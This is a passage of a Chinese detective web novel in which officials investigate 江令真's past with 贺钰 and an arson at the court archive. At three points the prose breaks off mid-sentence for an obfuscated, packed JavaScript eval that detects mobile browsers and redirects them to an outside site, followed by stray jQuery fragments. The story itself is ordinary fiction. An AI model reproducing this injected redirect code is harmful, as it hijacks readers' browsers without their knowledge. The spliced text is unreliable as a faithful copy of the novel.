被提到曾经被符飏休弃的那段伤心事,江令真眉头微皱。
她缓了缓,回答卫明展的问题:“没有。侯爷休了我,有他的苦衷。我从不怪他。何况等他和黄小姐的婚事告吹之后,我又很快回到了侯爷身边。他总归对我有情。”
李霁想,要么江令真在说假话,要么她就是彻头彻尾的傻子。
江令真又强调:“我和贺钰只是朋友。”
卫明展诱导:“你和平康侯分开之后是自由身。贺钰也没娶妻。哪怕那段时间你和贺钰有什么,也是天经地义的事情。你可以放心同我们说。”
江令真却一口咬定:“没有。我可以用我肚子里孩子的性命发誓,活到今日,我所爱过的,只有侯爷一人。”
卫明展只问:“五月廿七日,在天下第一楼和你纠缠的男子,是贺钰吗?”
江令真皱眉:“我明白了。你们是认为我与贺钰有私情啊。那么接下来就要控告我伙同他杀了侯爷吧?”
“可是”,江令真的眼睛泛着冷光:“贺钰早在五月时,就死了。”
“卫大人和郡主没有查到这条消息吗?一个在五月已死之人,怎么能在十月杀了侯爷?”
“我没说贺钰是凶手。”卫明展道。
“我问的是,五月廿七日那天,出现的男子是谁?”
他施压:“或者你希望我叫来证人,和你当面对质?他手上可还留有你给他的封口费。”
江令真沉默。
她回答:“与我见面的男子,确实是贺钰。”
卫明展和李霁对视一眼。江令真终于要开口了吗?
只听她又说:“但我从未做过越界之举。”
“贺钰从西南回来,确实屡次对我示好。可是我忘不掉侯爷,于是拒绝了他。他却一直不肯放过我,甚至在我又回到侯爷身边、真正嫁进侯府成为四姨娘后,他还时不时想要和我见面,频繁给我送书信和礼物。”
“五月廿七日,我在家里待得无聊,便去天下第一楼小坐。贺钰不知为何得知了我的行踪,竟来和我见面。我不愿与他多纠缠,所以起身要走,他拉住我,我挣脱开来,最后急忙回家。这就是那日发生的事情。”
卫明展怀疑:“如果这是事实,你为什么一开始不说?”
江令真轻轻抚摸着隆起的肚子:“如果我告诉你们其中原因,你们能不能为我保守秘密?”
卫明展不同意也不否认:“你先说来听听。”
江令真:“我怕贺家会因此迁怒于我。”
这事还另有隐情?
“贺钰杀了谢录,并且冒领谢录功绩的事情,是我泄露的。”
李霁来了兴趣:“贺钰和谢录之间的事,你是如何知道?”
江令真定了定心神:“是贺钰亲口告知我。我离开侯爷的那段时间,住在郊外的一处小院。贺钰常常来寻我。有一日他喝醉了酒,向我说了许多,其中便包括杀谢录一事。”
她的眼神里微微露出嘲弄的神色:“贺钰说,他杀谢录、冒领军功,不是为了他自己,而是为了我。他说只有这样,他才能升官,才能有本钱来娶我。”
“我知道了这些,未敢告知他人。但贺钰实在变本加厉,对我纠缠不休。于是我告诉侯爷贺钰对我有非分之想,并且将这些事情和盘托出。侯爷于是将消息透露给谢家,贺钰的行径这才败露。”
江令真继续解释她为什么不敢说出来她和贺钰见面一事:“如果我承认了那日的男子是贺钰,你们势必还会去贺家求证,贺家就会知道贺钰那段时间和我有往来,说不定就会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920769|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发现我就是那个举报贺钰的人。”
“侯爷一朝身亡,再无人替我撑腰。贺家再怎么样也在朝中任职,我实在担心他们知道我和贺钰的事情,会对我不利。”
卫明展陷入了沉默。如此说来,他之前的猜想又错了。贺钰不一定是江令真的情夫。而让贺钰入狱的不是符飏,而是江令真本人。所以不存在她为了贺钰向符飏复仇的动机。
不过这只是江令真的一面之词。还需要其他证据辅证。
李霁也有这个顾虑,她问:“这些事情可有其他人知道?”
江令真露出为难的神色:“我和贺钰相处之事,又不是发生在大庭广众之下。我从哪能找来人证呢?”
她想了想,又说:“不过,关于检举贺钰的事情,你们或许可以去问问龚午。他在侯爷身边做事,对这些略知一二。”
李霁和卫明展又对视一眼,他两都没能找出江令真话里的破绽。
*
走出萱兰院,卫明展找来龚午,询问他是否知道江令真和贺钰一事。
龚午三十出头,身形精瘦,瞧着倒是和善。他是平康侯府的家生子,从小跟着符飏长大,是符飏最信任的人之一。
龚午从小随着符飏上学、练武,耳濡目染也学了许多,他写得一手漂亮的字,还常常帮府里的小厮丫鬟们写信念信,所以府里人都称呼他为龚先生。
龚先生很快回答:“知道。四姨娘被贺钰纠缠一事,使得侯爷十分不快。得知贺钰犯下的罪责之后,侯爷写了封信,让我秘密送到谢录公子和袁将军的家中。”
这和江令真叙述得大差不差。
龚午的神色中带着试探:“大人,这事有何不当之处?凶犯难道是四姨娘?”
“还在查。现在就是多了解了解情况而已。”
李霁总觉得龚午似乎有些欲言又止,所以多问一句:“龚先生,你觉得她们有可疑之处吗?”
龚午踌躇了一阵,回答:“侯爷还在世时,凌亥奉命去了南方。似乎他的目的地是充州。而三姨娘和四姨娘此前居住的荔山也属充州地界。不知道这其中是否有什么关联。”
凌亥是符飏的另一个亲信,被派往南方办事,至今未归。
李霁想,既然要去的地方是江照月和江令真姐妹的故居,说不得就是去调查和她们相关的一些事情的。那么,这两姐妹到底有什么可疑之处值得符飏大动干戈去调查呢?
“哦?”卫明展问:“之前怎么不告知我们这件事?”
龚午答:“府中已经大乱,我怎么敢乱言呢。何况此事我只是听闻,并不能保真。即便凌亥去充州,或许也与姨娘们无关。”
卫明展把这事记在心里,说:“凌亥有什么消息吗?回来了吗?”
“还未。昨晚收到他的回信,说是已经在路上了。”
卫明展说:“等他回来,记着通知大理寺。我有事问他。”
龚午应下来,接着离开。
卫明展转头对李霁说:“郡主,接下来,我们需要去贺家一趟。”
江令真话里话外都不希望他们去贺家。虽然不清楚这是不是江令真迷惑他们的伎俩,但去一趟贺家,总是有益无害。
李霁也赞同:“还得再过一遍贺钰和谢录的案子。”
卫明展点头,又皱眉:“江令真和贺钰之间的事情,真的是如她所说的那么简单吗......”
12. 调查狂徒
十月廿五日。
贺钰的父亲不在家中,贺钰的长兄贺昌吉负责接待李霁两人。
贺昌吉对这两人观感都不好。在他眼里,卫明展一个私生子,不过运气好才爬到现在这个位置,至于李霁,一个郡主去当了道士,还成天向皇上进献莫名其妙的丹药,简直是哗众取宠的骗子。
尽管如此,他还是拿出待客之道,尽量和气地问:“两位到访府中所为何事?”
卫明展先问江家姐妹的事情:“贺大人还记得江恪一家吗?”
贺昌吉点头:“江家从前就住在隔壁。”
“你对江家姐妹了解有多少?”
“都是小时候的事情了,现在和她们没有往来。只记得照月妹妹顽皮,令真妹妹机敏,两个人关系似乎还不错。”
贺昌吉倒是没因为江家被贬的事情而避嫌:“那时我们两家的孩子常常一块玩耍。我和令真的关系最好。父亲和江大人酒后还开过玩笑,要给我和令真定亲。当时江家去了荔山,我见不到令真,还因此大哭几日。”
“可惜啊......”贺昌吉想起江家姐妹回到都城后的际遇,只觉得造化弄人:“照月和令真,本该有更好的去处。”
贺昌吉是个文官,以古板刻薄、清高自傲而闻名。李霁本以为他会对江家姐妹共侍一夫的事情恶评一番,此刻却看见他难得真情流露。
卫明展接着问:“你的弟弟妹妹呢?他们和江家姐妹的关系怎么样?”
贺昌吉:“小时候关系都不错。”
“江家回了都城,你们家还有没有人和他们有往来?”
“据我所知,没有。”
李霁问:“贺大人可有听闻平康侯府近日的事情?”
“当然。”
贺昌吉反应过来:“你们怀疑照月和令真?这不可能......她们不会做出这样的事情。”
卫明展说:“我们还在调查。”
卫明展随即扯到另一个话题:“对了,听说你弟弟贺钰,前几个月犯了事?”
贺昌吉听到这个名字,嘴角一沉:“他不配当我的弟弟,不配做贺家人。”
“他母亲是娼妓,生下来的是不是贺家的儿子都两说。我父亲不过心善,才把这个私生子从外头领回来。他犯下那样的事情,我也不意外。现今贺家族谱上已经没有他的名字。”
卫明展也是私生子,他的母亲也曾在青楼中卖艺为生。李霁用余光观察着卫明展,他倒没有特别的情绪。
卫明展无所谓。这些话他都听得多了,没一点新意。
他问贺昌吉:“贺钰生前的东西,你们还留着吗?”
贺昌吉黑着一张脸:“都烧了。”
出了贺家,卫明展说:“贺家不知道贺钰和江家有往来。所以,要么是贺昌吉撒谎,要么是贺钰从没把他想求娶江令真的事情告诉家里。”
李霁道:“贺昌吉为人老派顽固,却从不说假话。”
“贺钰心思确实不正”,他接着说:“走吧。我还知道有一个人,他能帮助我们更了解贺钰。”
*
袁府。
管家给李霁和卫明展斟茶,告知他们家主刚从练武场上回来,正在沐浴,请他们稍等片刻。
袁府主人是袁吕庆,出身充州,早年投军,随军驻扎南疆边境,后来被编入朝廷派遣的剿匪大军,又因剿匪有功,获封四品宣威将军,是当朝新贵。
袁吕庆曾是贺钰的上司,之后也协助调查贺钰冒领军功的案子,格外了解贺钰。
卫明展和他因一起案子结识,略有一些交情。早些时候,他已经给袁吕庆传信说自己会登门拜访。
“卫老弟!”袁吕庆爽朗的声音很快传来。
袁吕庆身高八尺,壮硕有力,此时只下身围了条布,上半身则......赤条条。
他开怀的笑容在见到李霁的那一刻戛然而止,眼睛瞪大,连着单睑都被撑着暂时变重睑,他惊慌地大叫管家的名字:“阿仁,你怎么不告诉我还有女客!”
袁吕庆身后还跟着另一个相同穿着的年轻男子,他见到李霁,却面色不悦,还很奇怪地冷哼了一声。
李霁也看着他,除此之外没有其他表现。
卫明展没注意这两人的你来我往,反而少见地贴心,一个箭步挡在了李霁跟前,隔绝了她的视线和这两具古铜色的健壮身体。他想,非礼勿视,可不能让郡主的眼睛看到这些......东西。
年轻男子的神色变得更加难看。
袁吕庆则尴尬一笑:“对不住啊.....那个,你们再喝两杯,我们去换个衣服。”
他说完就飞快地拉着年轻男子跑出正堂,管家跟在身后。
李霁摇头轻笑:“是穿上衣服才对。”
卫明展转身看她:“郡主你......你......你说话还是得注意点啊......”
李霁说:“放心。今日之事我不会说出去,以免损害他们的名声。”
卫明展脑子转不动。好像,是这么个道理?确实应该是袁吕庆他们得担心自己的名声。
他又问:“另一个男的是谁?他和袁哥一起沐浴吗?不会是......”
看着卫明展想入非非,李霁说道:“那是黄宗将军的幼子黄之烜。听说两人交好,常往来练武场互相切磋。”
哦......不是男宠啊。卫明展想着,那这两人从练武场回来,大汗淋漓,沐浴也很正常。
他问:“你认识他?”
李霁:“是。”
何止是认识,皇帝还给她和黄之烜赐过婚。
袁吕庆很快穿戴整齐,举止小心翼翼,到李霁跟前还给她恭敬地行了个大礼:“微臣参见郡主。”
李霁连忙扶他起来:“袁将军不必多礼。”
袁吕庆抹了一把冷汗:“多谢郡主。刚才的事......微臣在这里向您赔罪。”
李霁说:“无妨。袁将军性情真率,我觉得很有趣。”
袁吕庆这才放下心来。他生在农民家庭,从小兵一路拼到现在的位置,在战场上的经验充足,但和都城这些权贵打交道,他还是个新手。而且这件事要传出去,他的心上人恐怕会不高兴。
他瞥了一眼一旁的黄之烜,想着,这位小将军今天真是犯病。
今日他在练武场得知卫明展要来访,于是想着早些回府。但黄之烜听了,居然要跟着他回家。到了之后,黄之烜又嫌弃身上有汗,要借袁吕庆的地方沐浴,还要袁吕庆也沐浴干净。这是上司的儿子,袁吕庆有什么办法?没想到,等卫明展到了,黄之烜更犯病,说都是男的,不避讳这些,接着居然就急匆匆拉着袁吕庆直接出去。这下好了,冲撞了郡主。还好郡主不在意。
黄之烜坐下,仍旧是一言不发,也没有礼貌的微笑。
卫明展则想,此人居然比他还要不通人情世故,真是不同凡响。
袁吕庆又开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920770|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
始出汗,小将军在干什么?平时他不这样啊。袁吕庆只好硬着头皮介绍:“卫老弟,郡主,这是定远将军黄之烜。少将军,这是大理寺寺正卫大人,那位是......”
黄之烜忽然打断他:“夷安郡主。”
李霁仍旧笑着:“之烜,别来无恙。”
袁吕庆一愣。这两人是老相识?
黄之烜听见李霁这样称呼他,冷漠的神色松动,想说些什么,却又听得李霁一点都不想与他闲聊。
她很快看向了袁吕庆,问:“袁将军,此番我们前来,是想和你了解一些和贺钰有关的事情。”
“他啊”,袁吕庆的心思回到正事上来:“在牢里自杀了。这种对同伴下手的人,该下油锅地狱。”
卫明展接着问:“案卷里写,此案的证据都是贺钰的口供,有找到其他证据吗?”
袁吕庆说:“几个月过去,谢录都成白骨了,能找到什么证据?能让贺钰那小子吐出东西来,就很不容易了。”
“哎,你别这么看我,我可没用刑。我找了个人让他假装是谢录的鬼魂,贺钰见到之后,吓得脸都白了,没一会就吐豆子一样什么都说出来。以前总听话本里的官都这么干,没想到真有用。”
袁吕庆还加了两句:“这查案也不难嘛。卫老弟你的官,说不定我也能当一当。”
李霁反倒笑了:“袁将军确实这方面的潜质。”
啊......?这两人认真的吗?卫明展沉默了。
黄之烜则完全插不上话,只好暗暗捏紧拳头。
卫明展把话题拉回来:“那贺钰受审期间有没有说过特殊的话?”
袁吕庆仔细想了想:“他刚进去的时候,对隔壁牢房的犯人说过,他不会在这里待很久,他上头有人,很快就能出去。”
卫明展接话:“‘有人’指的是他的爹和哥哥?”
“大概是。不然还能有谁。至于说他在军中认识的人脉,也就是黄头儿了。但黄头儿觉得贺钰做人不实诚,不太喜欢他。”
黄头儿指的是黄宗将军,黄之烜和黄芝霖的父亲。
李霁疑问:“被害者谢录的父亲是中书令,权势远非贺家能及。贺钰怎么会认为贺家有能力帮他脱困?”
袁吕庆:“哎,郡主这么一说,是挺奇怪啊。贺钰这杀千刀的,难道还攀上了其他人?”
卫明展说:“不排除这个可能。”
“我记得贺钰做过你的属下吧?你对他印象怎么样?”
“是”,袁吕庆说:“贺钰一开始表现得很好。又能干、性格又好,还很会喝酒。和其他人都处得来。后来我慢慢发现他不对劲,总是表面一套,背面有一套。”
“我记得有一回出去侦查,到林子里迷路了。走了两天没走出去,到了晚上,队里有人的干粮少了一半,最开始也没当回事。第三晚,又有人发现自己的干粮又丢了。这就不对劲了,我没声张,在第四天秘密观察,最后发现是贺钰这小子动的手。他怕我们真走不出去,但他不想死,所以提前做准备。”
“做准备?做什么准备?这才到几天啊,他自私的鬼样子就藏不住了。我一点都不怀疑他最后为了活命,能提前对我们下死手,然后吃了我们。”
“我就受不了这种人。当场我把他打了一顿。后来脱困回到营地,我就把他丢出了我的队伍。”
“现在想想,还是对他太好了。就应该把他送回都城,或许这样谢录还能活着。”
13. 恶行
袁吕庆这个关于贺钰偷东西的故事说完,黄之烜也开口:“他能是什么好东西。”
卫明展闻言问:“少将军也认识贺钰?”
黄之烜说:“我妹妹和他相熟。”
黄之烜的妹妹就是黄芝霖。符飏当时正是为了求娶黄芝霖,才把江令真休弃。
“还有这回事?”
黄之烜:“在南疆时,阿霖无聊,是贺钰常与她聊天解闷。这人拍须遛马的本事一流,哄得阿霖非常开心。回都城后,阿霖不适应,贺钰也贴心帮她熟悉贵女们之间的往来迎送。靠着这些,贺钰也从我家捞到不少好处。”
“原先我们都觉得没什么。他能让阿霖高兴就好。但后来他居然撮合阿霖和符飏这个老男人。符飏轻而易举地,就让我妹妹爱上他,硬要和他成婚。”
他说完又盯着李霁:“说起来,符飏不愧是郡主的表兄,真是一脉相承地会哄骗我们家的人。”
前半句卫明展和袁吕庆都听得有些糊涂。
卫明展直抒胸臆:“什么意思?郡主你也骗了黄家的谁吗?”
李霁自然知道黄之烜暗指什么,她打太极:“都是陈年往事了。”
黄之烜有些生气:“郡主还是一如既往地冷血。”
李霁笑吟吟:“少将军也不改旧日直言不讳的风范。”
果然这两人之间是有点猫腻的。卫明展想。
不过什么猫腻都得往后稍稍,查案才是最重要的。他插话:“黄小姐和符飏的婚事后来是因为什么原因取消了?听说是符飏有十八房外室的事情吓跑了黄小姐?”
符飏明面上只有两个妾室和一个外室。黄芝霖原先知道的也就这么多。后来不知道从哪来的消息,说符飏还有另外其他十八房外室。这下黄芝霖可不就被吓跑,黄家也连夜取消了两家的婚事。
黄之烜收了收情绪,答道:“还是和贺钰脱不了关系。符飏的十八房外室,就是贺钰向阿霖揭发的。”
卫明展皱眉:“所以贺钰一开始想撮合黄小姐和符飏,后来又变成要拆散他们?为什么?”
黄之烜也认为此中有异:“我也问过贺钰他到底想干什么。贺钰当时回答,他一切都是为了阿霖好,他之前也不知道符飏的心肠花成这样。我虽然不信,但念在最终阿霖也没嫁给符飏,也就作罢了。”
李霁说:“有一个外室,和有十八个外室,又有什么区别。符表兄那一个正妻和两个妾室人人皆知,就算没有外室,他又能是什么痴情人?”
黄之烜:“所以说阿霖完全被贺钰和符飏蒙骗。她以为符飏是由于家里的安排迫才早早娶卢夫人和罗姨娘。后来又被江家姐妹勾引设计,才不得不也娶她们。她以为符飏真正爱的只有她。”
袁吕庆捏紧拳头,愤怒:“这两个败类。”
*
齐丰年那头也有新线索。
晚间时分,等卫明展回大理寺,他一个箭步蹿上去,献宝一般说着他去江家等地走访得知的事情。
是关于江照月嫁给姐夫符飏做外室之谜。
当时在江照月嫁给符飏之后不久,礼部侍郎的哥哥章一姚就提出,他想要纳江令真做十一姨太。
章一姚已经年过六旬,江令真嫁过去不久恐怕就得守寡。
这件事传到府里后,贺钰就深夜到访,单独找到江恪,说自己可以娶江令真,以帮她逃过这一劫。
江恪倒是同意。不过江令真自己却拒绝了,并且抢先一步出府做了符飏的外室。
整件事情里,贺钰还扮演着一个重要的角色。
和此事相关的张媒婆迫于压力透露,原来是贺钰买通了她,让她将江令真介绍给章一姚,才有了后面的一系列事情。
齐丰年推断:“以我猜测,贺钰想娶江令真,但江令真不愿意。所以他想借章一姚之事给江令真施压,让她尽早嫁给自己。但没想到,江令真转头就嫁给了符飏。”
卫明展拍拍他的肩膀,表示孺子可教也:“再考考你。我们这边刚刚知道一件事,符飏和黄小姐的婚事是贺钰撮合的。你说贺钰的目的是什么?”
齐丰年说:“这个简单。符飏和黄小姐结亲,带来的后果之一就是江令真就被休弃。而江令真一旦被休弃,恢复自由身,贺钰就又有机会了。贺钰做的这两桩事,目的都是要娶江令真。”
卫明展又问:“还有第三件事。符飏和黄小姐的婚事最终泡汤,也是贺钰在背后搞鬼。小丰,你再说说,贺钰这次又是为了什么?”
“这也是他搞的?”齐丰年震惊完,又托腮想了一会,最后沮丧道:“他为了什么啊?怎么一会又要撮合别人,一会又要拆散别人。符飏没娶到黄小姐,就又跑去和江令真在一起了。贺钰之前做的都是为了得到江令真,后来却间接帮江令真和前夫重归于好?我不明白。头儿,这是为什么?”
卫明展遗憾地说:“我也不知道。”
齐丰年忽然灵机一动:“我知道了。是不是贺钰忽然想明白了,意识到江令真不可能爱自己,所以成全她和符飏?”
李霁这时候说:“贺钰不爱江令真。又怎么会因为她的幸福而放手?”
齐丰年不理解:“不爱吗?虽然很偏执,但他确实一直想娶江令真。”
李霁道:“在贺钰眼中,江令真只是他从小到大都得不到的事物。小时候,江令真是高官家的小姐,贺钰只是家里不得宠爱的私生子,所以他只能眼睁睁看着江令真更喜欢哥哥贺昌吉,而无能为力。等到年纪变长,江令真已然落魄,但她仍旧不喜欢贺钰,反而爱上了平康侯。贺钰没能超越贺昌吉,更无法和符飏一较高下。”
她接着说:“贺钰会一边暗骂江令真是个虚荣的婊子,一边迫切地想得到她,从而证明自己可以赢过贺昌吉和符飏。”
卫明展在一旁叹气:“所以贺钰哪怕是得到了江令真,可能也会抛弃她。”
齐丰年说:“说到这个,还有条巨大的线索。”
大理寺还派了人去江令真被符飏休弃后居住的郊外小屋调查。
据郊外一位姓高的农户说,在二月他曾看到有一位男子常来江令真的小院中,两人举止亲密,农户回家后还同妻子谈论说这城里人真是伤风败俗。
大理寺的人把他带回来辨认画像,结果他准确指认了贺钰和江令真的画像,说这两人就是他见到的那对男女。
农户还说,在月初也有人来问过他关于江令真和贺钰的事情。他都如实告知。但前来询问的那人围着脸,农户也不知道对方样貌。
贺钰真的是情夫?李霁想,真是越来越有意思了。
卫明展噌地一下站起来:“小齐你怎么不早说?”
齐丰年讪笑:“现在说也不迟嘛。”
卫明展踱步:“有了人证,就可以坐实江令真和贺钰是旧情人。她之前对我们说的,不知道有几分真几分假。我们能找到这个农户,符飏也能找到。农户口里说的那个调查江令真之事的人,说不定就是符飏的亲信。符飏一旦知道这件事,肯定发作。江令真为了自保,或许就会对符飏先下手。”
“马上,我们马上就去审问她。看她这回......”
“走水了!走水了!”外头陡然响起急促的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920771|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叫喊声。
三人皆是一惊,立马冲了出去。
出去再定睛一瞧,浓烟滚滚而起的是西边存放案宗的阁楼。
卫明展心里咯噔一下:“快点救火!救火!”
齐丰年下一秒就冲了出去,加入救火行列。
卫明展跑去救火之前,不忘对李霁说:“郡主,你快走。火势不知可不可控,别伤到你。”
今晚他人还怪好。李霁点点头:“今夜刮西风,尽量从东侧上风处灭火。你小心。”
李霁最终也没走。她把晋王府的令牌塞给一个小厮:“去找巡夜的金吾卫,让他们速来。”
周围乱作一团,人人四向奔走,或逃离火场,或泼水灭火,或声嘶力竭在调度......这注定是一个无眠之夜。
金吾卫来得很快,还带上了灭火的麻搭和火钩,前者是绑着打湿麻布的长杆,用于拍灭火焰,后者是拉开燃烧物,让火势减小。
金吾卫训练有素,但也花了两个时辰才彻底将火扑灭。
卷宗都没了。
李霁走到满脸灰扑扑的卫明展身边,递给他一张手帕:“都查看过了,幸好无人伤亡。”
卫明展被火熏得眼睛都差点睁不开,他接过手帕,胡乱摸了两把脸:“好端端地,怎么会起火?”
李霁问:“卫大人觉得是人为,还是意外?”
卫明展说:“哪有这么巧啊。我们前脚才查到罗亮贪腐是被诬陷的,后脚藏卷宗的阁楼就起火了。找到的证据都没了。”
李霁又问:“那么,还要继续查吗?可以纵火烧掉的地方,可不止卷宗阁楼一处。”
“查。怎么不查?越是这样,越要查。你说得对。这样胡来的恶势力,今晚敢烧大理寺,明晚就敢烧无辜之人。为了民众不受伤害,我也得查。”
她是这个意思吗?李霁想,她明明是想提醒他注意自身安危。
李霁说:“事已至此,我先送你回家。”
卫明展还想拒绝,李霁已经拉着他往大理寺门口走:“卫大人,你不休息,哪有精力和恶势力鏖战?”
他第一次坐上晋王府的轿子。
映入眼帘的是一张大大的乌龟像,再细看,坐垫的刺绣上也是同一只乌龟像。
李霁介绍:“这是我兄长的爱宠,小龟。”
卫明展评价:“十分别致。”
李霁:“改天介绍你和小龟见面。”
“.......”
软轿里的木檀香让人心神平静。
昏昏沉沉之间,卫明展忽然想到一个他略有些好奇的问题:“你和黄之烜是什么关系?”
李霁说:“我和他曾经互有好感。三年前,他去求皇上赐婚,我拒绝了。”
短短两句,藏着很多事情。
卫明展一时之间不知道从哪问起。
他先问:“为什么拒绝?”
李霁答:“我希望能潜心修道。婚姻会阻碍我。”
“你不喜欢他吗?”
“喜欢”,李霁说:“这不妨碍我不愿意成婚。当然,这事是我对不住他。一开始,我就不应该回应他的心意。”
成亲之后,她必然不能再掌管校情司,也不能像现在这样整日在外。她会失去自由。这怎么能行?
“他知道你不愿意成婚吗?”
“知道。我很早就告知与他,他却当我在说笑。”
卫明展说:“那你们确实不合适。你像鹰,他像树。你会飞,他不会。”
李霁愣了一会,才道:“是啊,我和之烜原本便是不合适的。”
14. 谋算和争端
十月廿六日。
天还未亮。
卫明展到大理寺时,李霁已经在勘察卷宗阁楼的废墟。
她招招手,让他过来。
“怎么这个时候就来了?”他问。
李霁说:“左右醒得早,便来看看。”
他接着问:“发现什么了?”
她答:“此处有硫磺味,地面漆黑,是猛火油烧尽留下的痕迹。”
卫明展道:“猛火油?这东西一般都在军中使用,可不常见。所以确是有人故意纵火。”
李霁说:“罗亮贪腐案的卷宗,包括那些符飏用以陷害他的信件,都已经成灰烬。我们失去了目前唯一可用以翻案的证据。”
卫明展则道:“确实可惜。不过无妨。幕后主使都敢陷害镇国大将军了,我们还担心找不出他犯下的别的事?”
李霁:“是。能急匆匆搞出焚烧卷宗库这样大的阵仗,也正说明他心里有鬼。”
正说着话,大理寺外急促的马蹄声渐进,接着有人翻身下马,三步并两步奔来。
来人是黄之烜。昨日从袁府离开,他心情郁结,出了城,去练武场里待着。后半夜听闻大理寺起火,李霁也在其中,便又赶回来。
他面色焦急,直到看见李霁才有所缓和:“阿霁,你可有受伤?”
李霁道:“一切都好。”
“怎么还待这里,你得回王府休息。”
黄之烜又对卫明展说:“郡主只是协助你调查,你怎能如此苛待她?她受不起这样的奔波劳累。好在郡主无事,若是有事,本将军一定去圣上那参你一本!”
卫明展挨了一顿骂,说:“少将军要是能劝得动郡主休息,那便再好不过了。不过郡主自己愿意鞠躬尽瘁查案,这是她的决定,我怎么好阻拦?”
李霁说:“在其位谋其职。案件未结束,又横生事端,我再不勤勉些,怎么对得起皇上的信任?”
她说:“之烜,我感念你还记挂我的安危。可是这是我得去完成的事情。我能照料好我自己,有什么危险我也愿意承担,你不必忧心。”
黄之烜冷着脸:“这反倒成我的不是了。我算是白来一趟。你放心,李霁,我不会再管你。”
居然对郡主直呼其名。卫明展想,这少将军是真生气了。两人会吵起来吗?不过郡主伶牙俐齿,少将军对上她得落下风。
黄之烜从来是刀子嘴豆腐心。李霁也见怪不怪,她直接拐到纵火案上来:“之烜,你熟悉军中事宜,刚好问你一些事。最近有无猛火油失窃的事情发生?除了军中,还有哪处能取得猛火油?”
他果然又好好地回答她:“猛火油在军中被严格管控,难以被盗取。要说哪里能买到......你们可以去阴市查查看。”
阴市子时后在城郊秘密开放,专卖些不能放在市面上交易的禁物。
李霁莞尔:“多谢之烜。”
黄之烜哼了一声,丢下一句“你好自为之”,便离开了。
卫明展瞧着他策马而去的背影,道:“少将军的性情,也很别致。”
李霁笑了笑,问他:“下一步打算怎么走?”
“郡主觉得呢?”
李霁道:“为罗亮翻案一事得徐徐图之。现在不是大肆查找此事相关线索的时候。起码明面上,我们需要被这场纵火案所震慑,近期里不会再有其他举动。”
卫明展说:“下一步......既然我们在查平康侯案。那肯定得继续查。”
*
平康侯府萱兰院。
外头传来了消息,大理寺即将又来找江令真问话。
江令真于是再度坐在亭子里,摆好茶具。等待中,她望向一旁的池子,往日绿红的、生机勃勃的一片荷景,如今只剩下残枝败叶。
秋风夹着冷意袭来,她闭上了眼睛。
她知道,只要细查,她和贺钰的大多数事情都瞒不过他们。
没关系。她一开始就没想把这些藏起来。
他们查下去,只会查到贺钰是个多糟糕的人。
这么糟糕的人,她亲手杀了他,算不算为民除害?
希望过了今天,他们不会再怀疑到她身上。
*
卫明展和李霁一到,果然开始问她和贺钰之间的事情。
江令真装作犹豫,最后说出了实情:“是。我离开侯爷身边的那段日子,艰难至极。贺钰一直陪在我左右。我对他很感激,便尝试同他相处。”
她自嘲一笑:“我们相处了半月左右,贺钰便离开了我。仿佛我是一只不值钱的蛐蛐,他玩完了,便随手丢掉。”
卫明展问:“你可知晓贺钰在背后做下的那些事?他买通媒婆将你说给章一姚。”
她点头:“他抛弃我时,特地告诉我这些事,好让我更痛苦。他还说,黄小姐和侯爷,也是他撮合,就是为了让我成弃妇,他好趁虚而入。”
卫明展问:“那么贺钰劝说黄家取消和符飏的婚事呢?你可也知道?”
怎么会不知道呢?
这就是江令真想出来的法子。
当时她要回到符飏身边,就必须先让符黄两家的婚事作废。
所以她把符飏鲜为人知的外室们,透露与贺钰知晓,让他去搅黄这桩婚事。
江令真诚实说:“知道。”
“贺钰为什么要这么做?他明明恨你,为何要做这种帮你和符飏重归于好的事?”
她这回选择撒谎,冷笑道:“帮我?贺钰会帮我?他这么做,不过是因为他自己想娶黄小姐罢了。”
这个理由并无破绽。
贺钰促成符飏和黄芝霖的婚事,是为了他能得到江令真,再将她抛弃;后来贺钰拆散符飏和黄芝霖,是因为他看上了黄家的势力,想成为黄芝霖的丈夫。
贺钰在黄芝霖面前的形象是个洁身自好而贴心的将官,况且符飏一事让黄芝霖伤心,这种时候黄芝霖看上贺钰也并非天方夜谭。
贺钰性格利己狡猾,完全做得出这些事。
至于贺钰真实的动机......江令真不愿再想起那段不堪的回忆。
她转而观察着卫明展和李霁的神色,他们似乎相信了她的话。
但不多
